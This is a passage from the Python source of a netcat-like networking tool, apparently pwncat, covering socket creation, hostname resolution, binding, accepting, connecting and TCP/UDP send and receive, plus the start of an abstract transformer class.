            addr = host
        try:
            try:
                ipaddress.IPv4Address(addr)
                return True
            except ipaddress.AddressValueError:
                return False
        except NameError:
            pass

        # [4/5] regex
        # This is a poor mans solution, but we only want to know if it
        # is on the format of IPv4 and not if it is a valid IPv4. The
        # validation will be figured out during connect()
        reg = r"^([0-9]{1,3}\.){3}[0-9]{1,3}$"
        if re.match(reg, host):
            return True

        # [5/5] Nope
        return False

    # --------------------------------------------------------------------------
    # Get functions
    # --------------------------------------------------------------------------
    def get_iptos_by_name(self, name):
        # type: (str) -> int
        """Get IP Type of Service hexadecimal value by name."""
        assert name in self.__IP_TOS
        return self.__IP_TOS[name]

    def get_family_name(self, family):
        # type: (Union[socket.AddressFamily, int]) -> str
        """Returns human readable name of given address family as str."""
        try:
            return self.__AF_HUMAN[int(family)]
        except KeyError:
            self.__log.error(
                "Invalid key for address family: %s (type: %s) (valid: %s)",
                repr(family),
                repr(type(family)),
                repr(self.__AF_HUMAN),
            )
            return "unknown"

    def get_type_name(self, sock_type):
        # type: (int) -> str
        """Returns human readable name of given socket type as str."""
        try:
            return self.__ST_HUMAN[int(sock_type)]
        except KeyError:
            self.__log.error(
                "Invalid key for address sock_type: %s (type: %s) (valid: %s)",
                repr(sock_type),
                repr(type(sock_type)),
                repr(self.__ST_HUMAN),
            )
            return "unknown"

    def get_sock_opts(self, sock, opts):
        # type: (Sock, socket.socket, Optional[str]) -> List[str]
        """Debug logs configured socket options."""
        if opts is None:
            return []
        assert opts in ["all", "sock", "ipv4", "ipv6", "tcp"], "Value: {}".format(repr(opts))
        info = []
        for proto, optnames in self.__SOCK_OPTS.items():
            if opts == "all" or proto.lower() == opts:
                for optname in optnames:
                    if proto.lower() == "sock":
                        level = socket.SOL_SOCKET
                    elif proto.lower() == "ipv4":
                        level = socket.IPPROTO_IP
                    elif proto.lower() == "ipv6":
                        level = socket.IPPROTO_IPV6
                    elif proto.lower() == "tcp":
                        level = socket.IPPROTO_TCP
                    try:
                        info.append(
                            "{}: {}: {}".format(
                                proto,
                                optname,
                                sock.getsockopt(
                                    level, eval("socket." + optname)  # pylint: disable=eval-used
                                ),
                            )
                        )
                    except AttributeError:
                        pass
                    except (OSError, socket.error):
                        pass
        return info

    def gethostbyname(self, host, family, resolvedns):
        # type: (Sock, Optional[str], Union[socket.AddressFamily, int], bool) -> str
        """Translate hostname into a IP address for a given address family.

        Args:
            host (str): The hostname to resolvea.
            family (socket.family): IPv4 or IPv6 family

        Returns:
            str: Numeric IP address.

        Raises:
            socket.gaierror: If hostname cannot be resolved.
        """
        socktype = 0
        proto = 0
        flags = 0
        port = None
        family = int(family)

        # [1/4] Wildcard without host
        if host is None:
            if family == int(socket.AF_INET):
                self.__log.debug("Resolving IPv4 name not required, using wildcard: 0.0.0.0")
                return "0.0.0.0"
            if family == int(socket.AF_INET6):
                self.__log.debug("Resolving IPv6 name not required, using wildcard: ::")
                return "::"
        assert host is not None

        # [2/4] Already an IP address
        if family == int(socket.AF_INET6):
            if Sock.is_ipv6_address(host):
                self.__log.debug("Resolving IPv6 name not required, already an IP: %s", host)
                return host
            # Map IPv4 address to IPv6
            host6 = "::ffff:" + host
            if Sock.is_ipv6_address(host6):
                self.__log.debug("Resolving IPv4 name not required, changing to IPv6: %s", host6)
                return host6
        elif family == int(socket.AF_INET):
            if Sock.is_ipv4_address(host):
                self.__log.debug("Resolving IPv4 host not required, already an IP: %s", host)
                return host

        # [3/4] Do we disable DNS resolution?
        if not resolvedns:
            flags = socket.AI_NUMERICHOST

        # [4/4] Resolve
        try:
            infos = socket.getaddrinfo(host, port, family, socktype, proto, flags)
            addr = str(infos[0][4][0])
            self.__log.debug("Resolved %s host: %s", self.get_family_name(family), addr)
            return addr
        except (AttributeError, socket.gaierror) as error:
            msg = "Resolving {} host: {} failed: {}".format(
                self.get_family_name(family), str(host), str(error)
            )
            self.__log.debug(msg)
            raise socket.gaierror(msg)  # type: ignore

    # --------------------------------------------------------------------------
    # Create functions
    # --------------------------------------------------------------------------
    def create_socket(self, family, sock_type, reuse_addr, ip_tos_name=None):
        # type: (Union[socket.AddressFamily, int], int, bool, Optional[str]) -> socket.socket
        """Create TCP or UDP socket.

        Args:
            family (socket.family): The address family for which to create the socket for.
            sock_type (int): The socket type: socket.SOCK_DGRAM or socket.SOCK_STREAM
            reuse_addr (bool): Set SO_REUSEADDR on the socket.
            ip_tos_name (str): Optional IP type of service value to apply to socket

        Returns:
            socket.socket: Returns TCP or UDP socket for the given address family.

        Raises:
            socket.error: If socket cannot be created.
        """
        assert int(sock_type) in [int(socket.SOCK_DGRAM), int(socket.SOCK_STREAM)]
        try:
            if int(sock_type) == int(socket.SOCK_DGRAM):
                self.__log.debug(
                    "Creating (family %d/%s, UDP) socket", int(family), self.get_family_name(family)
                )
                sock = socket.socket(family, socket.SOCK_DGRAM)
            else:
                self.__log.debug(
                    "Creating (family %d/%s, TCP) socket", int(family), self.get_family_name(family)
                )
                sock = socket.socket(family, socket.SOCK_STREAM)
        except socket.error as error:
            msg = "Creating (family {}/{}, {}) socket failed: {}".format(
                int(family), self.get_family_name(family), self.get_type_name(sock_type), error
            )
            self.__log.debug(msg)
            raise socket.error(msg)

        if family == socket.AF_INET6:
            # On Linux, IPv6 sockets accept IPv4 too by default, but this makes
            # it impossible to bind to both 0.0.0.0 in IPv4 and :: in IPv6.
            # On other systems, separate sockets *must* be used to listen for
            # both IPv4 and IPv6. For consistency, always disable IPv4 on our
            # IPv6 sockets and use a separate ipv4 socket when needed.
            #
            # Python 2.x on windows doesn't have IPPROTO_IPV6.
            if hasattr(socket, "IPPROTO_IPV6"):
                self.__log.debug(
                    "Disabling IPv4 support on %s socket", self.get_family_name(family)
                )
                sock.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, 1)

        # Get around the "[Errno 98] Address already in use" error, if the socket is still in wait
        # we instruct it to reuse the address anyway.
        if reuse_addr:
            sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

        # If requested, set IP Type of Service value for current socket
        if ip_tos_name is not None:
            ip_tos_val = self.get_iptos_by_name(ip_tos_name)
            self.__log.debug("Setting IP_TOS to: %d (%s)", ip_tos_val, ip_tos_name)
            sock.setsockopt(socket.IPPROTO_IP, socket.IP_TOS, ip_tos_val)
        # All done, return it to the requestor
        return sock

    def bind(self, sock, addr, port):
        # type: (socket.socket, str, int) -> None
        """Bind the socket to an address.

        Args:
            sock (socket.socket): The socket to bind.
            addr (str): The numerical IP address to bind to.
            port (int): The port to bind to.

        Raises:
            socket.error if socket cannot be bound.
        """
        sock_family_name = self.get_family_name(sock.family)
        sock_type_name = self.get_type_name(sock.type)
        self.__log.debug(
            "Binding (family %d/%s, %s) socket to %s:%d",
            int(sock.family),
            sock_family_name,
            sock_type_name,
            addr,
            port,
        )
        try:
            sock.bind((addr, port))
        except (OverflowError, OSError, socket.gaierror, socket.error) as error:
            msg = "Binding (family {}/{}, {}) socket to {}:{} failed: {}".format(
                sock.family, sock_family_name, sock_type_name, addr, port, error
            )
            raise socket.error(msg)

    def listen(self, sock, backlog):
        # type: (socket.socket, int) -> None
        """Listen for connections made to the socket.

        Args:
            sock (socket.socket): The socket to listen on.
            backlog (int): Listen backlog

        Raises:
            socket.error: If listening fails.
        """
        try:
            self.__log.debug("Listening with backlog=%d", backlog)
            sock.listen(backlog)
        except socket.error as error:
            msg = "Listening failed: {}".format(error)
            self.__log.error(msg)
            raise socket.error(msg)

    def accept(
        self,
        sockets,  # type: List[socket.socket]
        has_quit,  # type: Callable[[], bool]
        select_timeout=0.01,  # type: float
    ):
        # type: (...) -> Tuple[socket.socket, Tuple[str, int]]
        """Accept a single connection from given list of sockets.

        Given sockets must be bound to an addr and listening for connections.

        Args:
            sock ([socket.socket]): List of sockets IPv4 and/or IPv6 to accept on.
            has_quit (Callable[[], bool]): A function that returns True if abort is requested.
            select_timeout (float): Timeout to poll sockets for connected clients.

        Returns:
            (socket.socket, str, int): Returns tuple of socket, address and port of client.

        Raises:
            socket.error: Raised if server cannot accept connection or stop signal is requested.
        """
        self.__log.debug("Waiting for TCP client")
        while True:
            try:
                ssockets = select.select(sockets, [], [], select_timeout)[
                    0
                ]  # type: List[socket.socket]
            except select.error as err:
                raise socket.error(err)
            if has_quit():
                raise socket.error("SOCK-QUIT signal ACK for accept(): raised socket.error()")
            for sock in ssockets:
                try:
                    conn, addr = sock.accept()
                except (socket.gaierror, socket.error) as error:
                    msg = "Accept failed: {}".format(error)
                    self.__log.error(msg)
                    raise socket.error(msg)
                self.__log.info(
                    "Client connected from %s:%d (family %d/%s, TCP)",
                    addr[0],
                    addr[1],
                    int(conn.family),
                    self.get_family_name(conn.family),
                )
                return conn, (addr[0], addr[1])

    def connect(
        self,
        sock,  # type: socket.socket
        addr,  # type: str
        port,  # type: int
        src_addr=None,  # type: Optional[str]
        src_port=None,  # type: Optional[int]
        udp_sconnect=False,  # type: bool
        udp_send_payload=b"",  # type: bytes
        udp_recv_bufsize=8192,  # type: int
        udp_recv_timeout=0.1,  # type: float
    ):
        # type: (...) -> Tuple[str, int]
        """Connect to a remote socket at given address and port.

        Args:
            sock (socket.socket): The socket to use for connecting/communication.
            addr (str): Numerical IP address of server to connect to.
            port (int): Port of server to connect to.

        Returns:
            Tuple[str,int]: Adress/port tuple of local bind of the client.

        Raises:
            socker.error: If client cannot connect to remote peer or custom bind did not succeed.
        """
        try:
            # If the socket was already closed elsewhere, it won't have family or type anymore
            sock_family_name = self.get_family_name(sock.family)
            sock_type_name = self.get_type_name(sock.type)
        except AttributeError as error:
            raise socket.error(error)

        # Bind to a custom addr/port
        if src_addr is not None and src_port is not None:
            try:
                self.__log.debug("Binding specifically to %s:%d", src_addr, src_port)
                self.bind(sock, src_addr, src_port)
            except socket.error as error:
                raise socket.error(error)
        try:
            self.__log.debug(
                "Connecting to %s:%d (family %d/%s, %s)",
                addr,
                port,
                int(sock.family),
                sock_family_name,
                sock_type_name,
            )

            # Ensure to use connect() protocol independent
            info = socket.getaddrinfo(addr, port, sock.family, sock.type, sock.proto)
            sock.connect(info[0][4])

            # UDP stateful connect
            # A UDP client doesn't know if the connect() was successful, so the trick
            # is to send an empty packet and see if an exception is triggered during
            # receive or simply a timeout (which means success).
            if udp_sconnect and int(sock.type) == int(socket.SOCK_DGRAM):
                assert type(udp_send_payload) is bytes
                assert type(udp_recv_bufsize) is int
                # Some applications like netcat do not like to receive empty
                # data, as they treat it as an EOF and will quit upon receive,
                # so we're using a nullbyte character instead.
                self.__log.debug(
                    "Trying to send %d bytes (%s) for UDP stateful connect",
                    len(udp_send_payload),
                    repr(udp_send_payload),
                )
                sock.send(udp_send_payload)
                sock.settimeout(udp_recv_timeout)
                try:
                    sock.recv(udp_recv_bufsize)
                except socket.timeout:
                    pass
                finally:
                    sock.settimeout(0)

        except (OSError, socket.error) as error:
            msg = "Connecting to {}:{} (family {}/{}, {}) failed: {}".format(
                addr,
                port,
                sock.family,
                sock_family_name,
                sock_type_name,
                error,
            )
            raise socket.error(msg)

        local = sock.getsockname()
        self.__log.debug(
            "Connected from %s:%d",
            local[0],
            local[1],
        )
        self.__log.info(
            "Connected to %s:%d (family %d/%s, %s)",
            addr,
            port,
            int(sock.family),
            sock_family_name,
            sock_type_name,
        )
        return (local[0], local[1])

    # --------------------------------------------------------------------------
    # Destroy functions
    # --------------------------------------------------------------------------
    def shutdown_recv(self, sock, name):
        # type: (socket.socket, str) -> None
        """Shuts down a socket for receiving data (only allow to send data).

        Args:
            name (str): Name of the socket used for logging purposes.
            sock (str): Socket to shutdown for receive.
        """
        try:
            # (SHUT_RD)   0 = Done receiving (disallows receiving)
            # (SHUT_WR)   1 = Done sending (disallows sending)
            # (SHUT_RDWR) 2 = Both
            self.__log.trace("Shutting down %s socket for receiving", name)  # type: ignore
            sock.shutdown(socket.SHUT_RD)
        except (OSError, socket.error):
            # We do not log errors here, as unconnected sockets cannot
            # be shutdown and we want to throw any socket at this function.
            pass

    def shutdown_send(self, sock, name):
        # type: (socket.socket, str) -> None
        """Shuts down a socket for sending data (only allow to receive data).

        Args:
            name (str): Name of the socket used for logging purposes.
            sock (str): Socket to shutdown for send.
        """
        try:
            # (SHUT_RD)   0 = Done receiving (disallows receiving)
            # (SHUT_WR)   1 = Done sending (disallows sending)
            # (SHUT_RDWR) 2 = Both
            self.__log.trace("Shutting down %s socket for sending", name)  # type: ignore
            sock.shutdown(socket.SHUT_WR)
        except (OSError, socket.error):
            # We do not log errors here, as unconnected sockets cannot
            # be shutdown and we want to throw any socket at this function.
            pass

    def close(self, sock, name):  # pylint: disable=unused-argument,no-self-use
        # type: (socket.socket, str) -> None
        """Shuts down and closes a socket.

        Args:
            sock (socket.socket): Socket to shutdown and close.
            name (str): Name of the socket used for logging purposes.
        """
        # NOTE: Logging is removed here as this is too much overhead when using
        # the port scanner (it will have thousands of threads and too many
        # calls to the logger which will cause issues with its shutdown
        # and a massive performance degrade as well.
        try:
            # (SHUT_RD)   0 = Done receiving (disallows receiving)
            # (SHUT_WR)   1 = Done sending (disallows sending)
            # (SHUT_RDWR) 2 = Both
            # self.__log.trace("Shutting down %s socket", name)  # type: ignore
            sock.shutdown(socket.SHUT_RDWR)
        except (OSError, socket.error):
            # We do not log errors here, as unconnected sockets cannot
            # be shutdown and we want to throw any socket at this function.
            pass
        try:
            # self.__log.trace("Closing %s socket", name)  # type: ignore
            sock.close()
        except (OSError, socket.error):
            pass
            # self.__log.trace("Could not close %s socket: %s", name, error)  # type: ignore


class Net(object):
    """Provides an abstracted server client socket for TCP and UDP."""

    # --------------------------------------------------------------------------
    # Constructor / Destructor
    # --------------------------------------------------------------------------
    def __init__(self, encoder, ssig, options):
        # type: (StringEncoder, InterruptHandler, DsSock) -> None
        """Instantiate Sock class.

        Args:
            encoder (StringEncoder): Instance of StringEncoder (Python2/3 str/byte compat).
            ssig (InterruptHandler): Used to stop blocking loops.
            options (DsSock): Instance of DsSock.
        """
        self.__log = logging.getLogger(__name__)  # type: logging.Logger
        self.__enc = encoder
        self.__ssig = ssig
        self.__options = options
        self.__sock = Sock()

        # Set families to listen on or connect to
        # Using a list here to ensure IPv6 will always come first
        if self.__options.ipv6:
            self.__families = [int(socket.AF_INET6)]
        elif self.__options.ipv4:
            self.__families = [int(socket.AF_INET)]
        else:
            self.__families = [
                int(socket.AF_INET6),
                int(socket.AF_INET),
            ]

        # The connection dictionary.
        # A dictionary is necessary, as we can have multiple entries for
        # IPv4 and IPv6 when using UDP in server mode.
        #
        # 1.) If the UDP server wants to send data to an UDP client,
        # it must first wait for the client to send data to get to know
        # it's IP address (we're not using connect() for UDP here).
        # 2.) As we allow IPv4 and IPv6 listening at the same time,
        # we must maintain both entries in that list, until the
        # UDP client has connected.
        # Once the UDP client has connected, all unconnected entries
        # will be removed and the protocol has been determined.
        # {
        #   <socket.family>:
        #     {
        #       "sock": socket.socket,      # <-- bind socket if server
        #       "conn": socket.socket,      # <-- send/recv socket
        #       "local_host": <hostname>,   # <-- (server only) hostname or ip address for binding
        #       "local_addr": <ip-addr>,    # <-- (server only) ip address for binding
        #       "local_port": <port>,       # <-- (server only) port for binding
        #       "remote_host": <hostname>,  # <-- hostname or ip address of remote end
        #       "remote_addr": <ip-addr>,   # <-- numerical ip address of remote end
        #       "remote_port": <port>,      # <-- port of remote end
        #     },
        # }
        self.__conns = {}  # type: Dict[int, SockConn]

        # The self.__conns dictionary can hold two entries: IPv4 and IPv6.
        # In client mode after successful connect, the unused entry is dropped.
        # In server mode we keep entries for TCP/re-accept() or UDP/connect.
        #
        # That would mean for send/recv functions in server mode, we would
        # always have to loop around entries in self.__conns. To avoid this
        # we keep track of the currently active connection in self.__active
        # and only use this,
        # {
        #    "af": socket.family,        # <-- the used socket family
        #    "conn": socket.socket,      # <-- send/recv socket
        #    "remote_addr": <ip-addr>,   # <-- numerical ip address of remote end
        #    "remote_port": <port>,      # <-- port of remote end
        # }
        self.__active = {}  # type: SockActive

        self.__udp_mode_server = False  # type: bool

    # --------------------------------------------------------------------------
    # Public Send / Receive Functions
    # --------------------------------------------------------------------------
    def send_eof(self):
        # type: () -> None
        """Close the active socket for sending. The remote part will get an EOF."""
        self.__sock.shutdown_send(self.__active["conn"], "conn")

    def send(self, data):
        # type: (bytes) -> int
        """Send data through a connected (TCP) or unconnected (UDP) socket.

        Args:
            data (bytes): The data to send.

        Returns:
            int: Returns total bytes sent.

        Raises:
            socket.error:   Except here when unconnected or connection was forcibly closed.
        """
        # UDP has some specialities as its socket is unconnected.
        # See also recv() for specialities on that side.

        # In case of sending data to an UDP client, we need to initially wait
        # until the client has first connected and told us its addr/port.
        if self.__udp_mode_server:
            # self.__active will be set in recv() by another thread
            if not self.__active:
                self.__log.warning("UDP client has not yet connected. Queueing message")
                while not self.__active:
                    if self.__ssig.has_sock_quit():
                        self.__log.trace(  # type: ignore
                            "SOCK-QUIT signal ACK in Net.send (while waiting for UDP client)"
                        )
                        return -1
                    time.sleep(0.01)

        curr = 0  # bytes send during one loop iteration
        send = 0  # total bytes send
        size = len(data)  # bytes of data that needs to be send

        # Loop until all bytes have been send
        while send < size:
            self.__log.debug(
                "Trying to send %d bytes to %s:%d",
                size - send,
                self.__active["remote_addr"],
                self.__active["remote_port"],
            )
            self.__log.trace("Trying to send: %s", repr(data))  # type: ignore
            try:
                # Only UDP server has not made a connect() to the socket, all others
                # are already connected and need to use send() instead of sendto()
                if self.__udp_mode_server:
                    curr = self.__active["conn"].sendto(
                        data, (self.__active["remote_addr"], self.__active["remote_port"])
                    )
                    send += curr
                else:
                    curr = self.__active["conn"].send(data)
                    send += curr
                if curr == 0:
                    self.__log.error("No bytes send during loop round.")
                    return 0
                # Remove 'curr' many bytes from byte for the next round
                data = data[curr:]
                self.__log.debug(
                    "Sent %d bytes to %s:%d (%d bytes remaining)",
                    curr,
                    self.__active["remote_addr"],
                    self.__active["remote_port"],
                    size - send,
                )
            except (IOError, OSError, socket.error) as error:
                msg = "Socket send Error: {}".format(error)
                raise socket.error(msg)
        return send

    def receive(self):
        # type: () -> bytes
        """Receive and return data from the connected (TCP) or unconnected (UDP) socket.

        Returns:
            bytes: Returns received data from connected (TCP) or unconnected (UDP) socket.

        Raises:
            socket.timeout: Except here to do an action when the socket is not busy.
            AttributeError: Except here when current instance has closed itself (Ctrl+c).
            socket.error:   Except here when unconnected or connection was forcibly closed.
            EOFError:       Except here when upstream has closed the connection via EOF.
        """
        # This is required for a UDP server that has no connected clients yet
        # and is waiting for data receival for the first time on either IPv4 or IPv6
        # to finally determine which of those two we're going to use and which
        # of them we will remove after succesfull connect.
        try:
            conns = select.select(
                [self.__conns[af]["conn"] for af in self.__conns if "conn" in self.__conns[af]],
                [],
                [],
                self.__options.recv_timeout,
            )[
                0
            ]  # type: List[socket.socket]
        # E.g.: ValueError: file descriptor cannot be a negative integer (-1)
        except (ValueError, AttributeError) as error:
            msg = "Connection was closed by self: [1]: {}".format(error)
            self.__log.debug(msg)
            raise AttributeError(msg)
        if not conns:
            # This is raised for the calling function to determine what to do
            # between timeouts (e.g.: check signals, etc)
            raise socket.timeout("timed out")  # type: ignore

        # We should always only have one active socket on which we receive data.
        assert len(conns) == 1
        conn = conns[0]  # type: socket.socket
        try:
            # https://manpages.debian.org/buster/manpages-dev/recv.2.en.html
            (data, addr) = conn.recvfrom(self.__options.bufsize)

        # [1/5] When closing itself (e.g.: via Ctrl+c and the socket_close() funcs are called)
        except AttributeError as error:
            msg = "Connection was closed by self: [2]: {}".format(error)
            self.__log.debug(msg)
            raise AttributeError(msg)

        # [2/5] Connection was forcibly closed
        # [Errno 107] Transport endpoint is not connected
        # [Errno 10054] An existing connection was forcibly closed by the remote host
        # [WinError 10054] An existing connection was forcibly closed by the remote host
        except (OSError, socket.error) as error:
            self.__log.debug("Connection error: %s", error)
            raise socket.error(error)

        # [3/5] Upstream (server or client) is gone.
        # In TCP, there is no such thing as an empty message, so zero means a peer disconnect.
        # In UDP, there is no such thing as a peer disconnect, so zero means an empty datagram.
        if not data:
            msg = "EOF: Remote finished sending."
            self.__log.info(msg)
            raise EOFError(msg)

        # [4/5] (UDP Server mode only)
        # 1.) The UDP server is only able to send data, if a client has sent data first,
        # as we do not do a connect() phase for UDP and therefore do not know its remote
        # addr/port before. See send() function for a blocking loop.
        # 2.) Additionally, we will always update its IP/port values to distinguish
        # the same connected client between a new/different connected client.
        if self.__udp_mode_server:
            # UDP client connects for the first time
            if not self.__active:
                self.__log.info(
                    "Client connected: %s:%d (family %d/%s, UDP)",
                    addr[0],
                    addr[1],
                    int(conn.family),
                    self.__sock.get_family_name(conn.family),
                )
            # A different UDP client connects
            elif self.__active["remote_addr"] != addr[0] or self.__active["remote_port"] != addr[1]:
                self.__log.info(
                    "New client connected: %s:%d (family %d/%s, UDP)",
                    addr[0],
                    addr[1],
                    int(conn.family),
                    self.__sock.get_family_name(conn.family),
                )
            # Set currently active UDP connection socket
            self.__active = {
                "af": conn.family,
                "conn": conn,
                "remote_addr": addr[0],
                "remote_port": addr[1],
            }

        # [5/5] We have data to process
        self.__log.debug(
            "Received %d bytes from %s:%d",
            len(data),
            self.__active["remote_addr"],
            self.__active["remote_port"],
        )
        self.__log.trace("Received: %s", repr(data))  # type: ignore
        return data

    # --------------------------------------------------------------------------
    # Public Functions
    # --------------------------------------------------------------------------
    def run_client(self, host, port):
        # type: (str, int) -> bool
        """Run and create a TCP or UDP client and connect to a remote peer.

        Args:
            addr (str): Numeric IP address to connect to (ensure to resolve a hostname beforehand).
            port (int): Port of the server to connect to.

        Returns:
            bool: Returns `True` on success and `False` on failure.
        """
        # The connection dictionary.
        conns = {}  # type: Dict[int, SockConn]

        # [1/4] Add sockets to connection dictionary
        succ = 0
        for family in self.__families:
            try:
                conns[family] = {
                    "conn": self.__sock.create_socket(
                        family,
                        socket.SOCK_DGRAM if self.__options.udp else socket.SOCK_STREAM,
                        True,
                        self.__options.ip_tos,
                    )
                }
                succ += 1
            except socket.error:
                pass
        if succ == 0:
            return False

        # [2/4] Resolve address
        remove = []
        errors = []
        # NOTE: We're still looping over the initial family list
        # to ensure order: IPv6 before IPv4 (the conn dict does not preserve order)
        for family in self.__families:
            if family in conns:
                try:
                    conns[family]["remote_host"] = host
                    conns[family]["remote_addr"] = self.__sock.gethostbyname(
                        host, family, not self.__options.nodns
                    )
                    conns[family]["remote_port"] = port
                except socket.gaierror as err:
                    remove.append(family)
                    errors.append(str(err))
        for family in remove:
            self.__sock.close(conns[family]["conn"], self.__sock.get_family_name(family))
            del conns[family]
        if not conns:
            for error in errors:
                self.__log.error("Resolve Error: %s", error)
            return False

        # [3/4] Connect
        remove = []
        errors = []
        # NOTE: We're still looping over the initial family list
        # to ensure order: IPv6 before IPv4 (the conn dict does not preserve order)
        for family in self.__families:
            if family in conns:
                try:
                    self.__sock.connect(
                        conns[family]["conn"],
                        conns[family]["remote_addr"],
                        conns[family]["remote_port"],
                        self.__options.src_addr,
                        self.__options.src_port,
                        self.__options.udp_sconnect,
                        self.__enc.encode(self.__options.udp_sconnect_word),
                        self.__options.bufsize,
                    )
                    # On successful connect, we can abandon/remove all other sockets
                    remove = [key for key in conns if key != family]
                    break
                except (OSError, socket.error) as err:
                    remove.append(family)
                    errors.append(str(err))
        for family in remove:
            self.__sock.close(conns[family]["conn"], self.__sock.get_family_name(family))
            del conns[family]
        if not conns:
            for error in errors:
                self.__log.error(error)
            return False

        # [4/4] Store connections and set active connection
        assert len(conns) == 1
        for family in conns:
            self.__active = {
                "af": family,
                "conn": conns[family]["conn"],
                "remote_addr": conns[family]["remote_addr"],
                "remote_port": conns[family]["remote_port"],
            }
        # Store sockets as a list
        self.__conns = conns
        # Print socket info
        for info in self.__sock.get_sock_opts(self.__active["conn"], self.__options.info):
            self.__log.info("[%s] %s", self.__sock.get_family_name(family), info)
        return True

    def run_server(self, host, port):
        # type: (Optional[str], int) -> bool
        # TODO: Integrate: --rebind(-wait|-robin)
        """Run and create a TCP or UDP listening server and wait for a client to connect.

        Args:
            addr (str): Numeric IP address to bind to (ensure to resolve a hostname beforehand).
            port (int): Port of the address to bind to.

        Returns:
            bool: Returns `True` on success and `False` on failure.
        """
        # The connection dictionary.
        conns = {}  # type: Dict[int, SockConn]

        # [1/4] Create socket
        succ = 0
        for family in self.__families:
            try:
                conns[family] = {
                    "sock": self.__sock.create_socket(
                        family,
                        socket.SOCK_DGRAM if self.__options.udp else socket.SOCK_STREAM,
                        True,
                        self.__options.ip_tos,
                    )
                }
                succ += 1
            except socket.error as err:
                self.__log.debug(err)
        if succ == 0:
            self.__log.error("Socket Error: Could not create any socket.")
            return False

        # [2/4] Resolve local address
        remove = {}
        for family in conns:
            try:
                conns[family]["local_addr"] = self.__sock.gethostbyname(
                    host, family, not self.__options.nodns
                )
                conns[family]["local_host"] = host
                conns[family]["local_port"] = port
            except socket.gaierror as err:
                remove[family] = str(err)
        for family in remove:
            self.__log.debug(
                "Removing (family %d/%s) due to: %s",
                family,
                self.__sock.get_family_name(family),
                remove[family],
            )
            self.__sock.close(conns[family]["sock"], self.__sock.get_family_name(family))
            del conns[family]
        if not conns:
            self.__log.error("Resolve Error: Could not resolve any hostname")
            return False

        # [3/4] Bind socket
        remove = {}
        for family in conns:
            try:
                self.__sock.bind(conns[family]["sock"], conns[family]["local_addr"], port)
            except socket.error as err:
                remove[family] = str(err)
        for family in remove:
            self.__log.debug(
                "Removing (family %d/%s) due to: %s",
                family,
                self.__sock.get_family_name(family),
                remove[family],
            )
            self.__sock.close(conns[family]["sock"], self.__sock.get_family_name(family))
            del conns[family]
        if not conns:
            self.__log.error("Bind Error: Could not bind any socket")
            return False

        # [UDP 4/4] There is no listen or accept for UDP
        if self.__options.udp:
            for family in conns:
                conns[family]["conn"] = conns[family]["sock"]
                self.__log.info(
                    "Listening on %s:%d (family %d/%s, UDP)",
                    conns[family]["local_addr"],
                    conns[family]["local_port"],
                    family,
                    self.__sock.get_family_name(family),
                )
            self.__conns = conns
            self.__udp_mode_server = True
            return True

        # [TCP 4/4] Requires listen and accept
        # (1/3) Listen
        remove = {}
        for family in conns:
            try:
                self.__sock.listen(conns[family]["sock"], self.__options.backlog)
                self.__log.info(
                    "Listening on %s:%d (family %d/%s, TCP)",
                    conns[family]["local_addr"],
                    conns[family]["local_port"],
                    family,
                    self.__sock.get_family_name(family),
                )
            except socket.error as err:
                remove[family] = str(err)
        for family in remove:
            self.__log.debug(
                "Removing (family %d/%s) due to: %s",
                family,
                self.__sock.get_family_name(family),
                remove[family],
            )
            self.__sock.close(conns[family]["sock"], self.__sock.get_family_name(family))
            del conns[family]
        if not conns:
            self.__log.error("Could not listen on any address")
            return False

        # (2/3) Accept
        remove = {}
        try:
            conn, client = self.__sock.accept(
                [conns[family]["sock"] for family in conns], self.__ssig.has_sock_quit
            )
            conns[conn.family]["conn"] = conn
            conns[conn.family]["remote_addr"] = client[0]
            conns[conn.family]["remote_port"] = client[1]
        except socket.error as err:
            remove = {family: str(err) for family in conns}
        # On error, remove all bind sockets
        for family in remove:
            self.__log.debug(
                "Removing (family %d/%s) due to: %s",
                family,
                self.__sock.get_family_name(family),
                remove[family],
            )
            self.__sock.close(conns[family]["sock"], self.__sock.get_family_name(family))
            del conns[family]
        if not conns:
            return False

        # (3/3) Store connections
        for family in conns:
            if "conn" in conns[family]:
                self.__active = {
                    "af": family,
                    "conn": conns[family]["conn"],
                    "remote_addr": conns[family]["remote_addr"],
                    "remote_port": conns[family]["remote_port"],
                }
                for info in self.__sock.get_sock_opts(self.__active["conn"], self.__options.info):
                    self.__log.info("[%s] %s", self.__sock.get_family_name(family), info)
        self.__conns = conns
        return True

    def re_accept_client(self):
        # type: () -> bool
        """Re-accept new clients, if connection is somehow closed or accept did not work.

        Returns:
            bool: Returns `True` on success and `False` and error.
        """
        # [1/3] Close and remove all previous conn sockets
        self.close_conn_sock()
        for family in self.__conns:
            if "conn" in self.__conns[family]:
                del self.__conns[family]["conn"]

        # [2/3] Accept
        try:
            conn, client = self.__sock.accept(
                [self.__conns[family]["sock"] for family in self.__conns], self.__ssig.has_sock_quit
            )
        except socket.error:
            return False
        self.__conns[conn.family]["conn"] = conn
        self.__conns[conn.family]["remote_addr"] = client[0]
        self.__conns[conn.family]["remote_port"] = client[1]

        # Update active connection socket
        self.__active = {
            "af": conn.family,
            "conn": conn,
            "remote_addr": client[0],
            "remote_port": client[1],
        }
        return True

    def close_bind_sock(self):
        # type: () -> None
        """Close the bind socket used by the server to accept clients."""
        for family in self.__conns:
            if "sock" in self.__conns[family]:
                self.__sock.close(self.__conns[family]["sock"], "sock")

    def close_conn_sock(self):
        # type: () -> None
        """Close the communication socket used for send and receive."""
        for family in self.__conns:
            if "conn" in self.__conns[family]:
                self.__sock.close(self.__conns[family]["conn"], "conn")


# #################################################################################################
# #################################################################################################
# ###
# ###   5 / 11   T R A N S F O R M E R
# ###
# #################################################################################################
# #################################################################################################

# -------------------------------------------------------------------------------------------------
# [5/11 TRANSFORM]: (1/5): Transform
# -------------------------------------------------------------------------------------------------
class Transform(ABC):  # type: ignore
    """Abstract class to for pwncat I/O transformers.

    This is a skeleton that defines how the transformer for pwncat should look like.
    """

    # --------------------------------------------------------------------------
    # Properties
    # --------------------------------------------------------------------------
    @property
    def log(self):
        # type: () -> logging.Logger
        """`TraceLogger`: Logger instance."""
        return self.__log

    # --------------------------------------------------------------------------
    # Constructor
    # --------------------------------------------------------------------------
    @abstractmethod
    def __init__(self):
        # type: () -> None
        """Set specific options for this transformer."""
        super(Transform, self).__init__()
        self.__log = logging.getLogger(__name__)

    # --------------------------------------------------------------------------
    # Public Functions
    # --------------------------------------------------------------------------
    @abstractmethod
    def transform(self, data):
        # type: (bytes) -> bytes
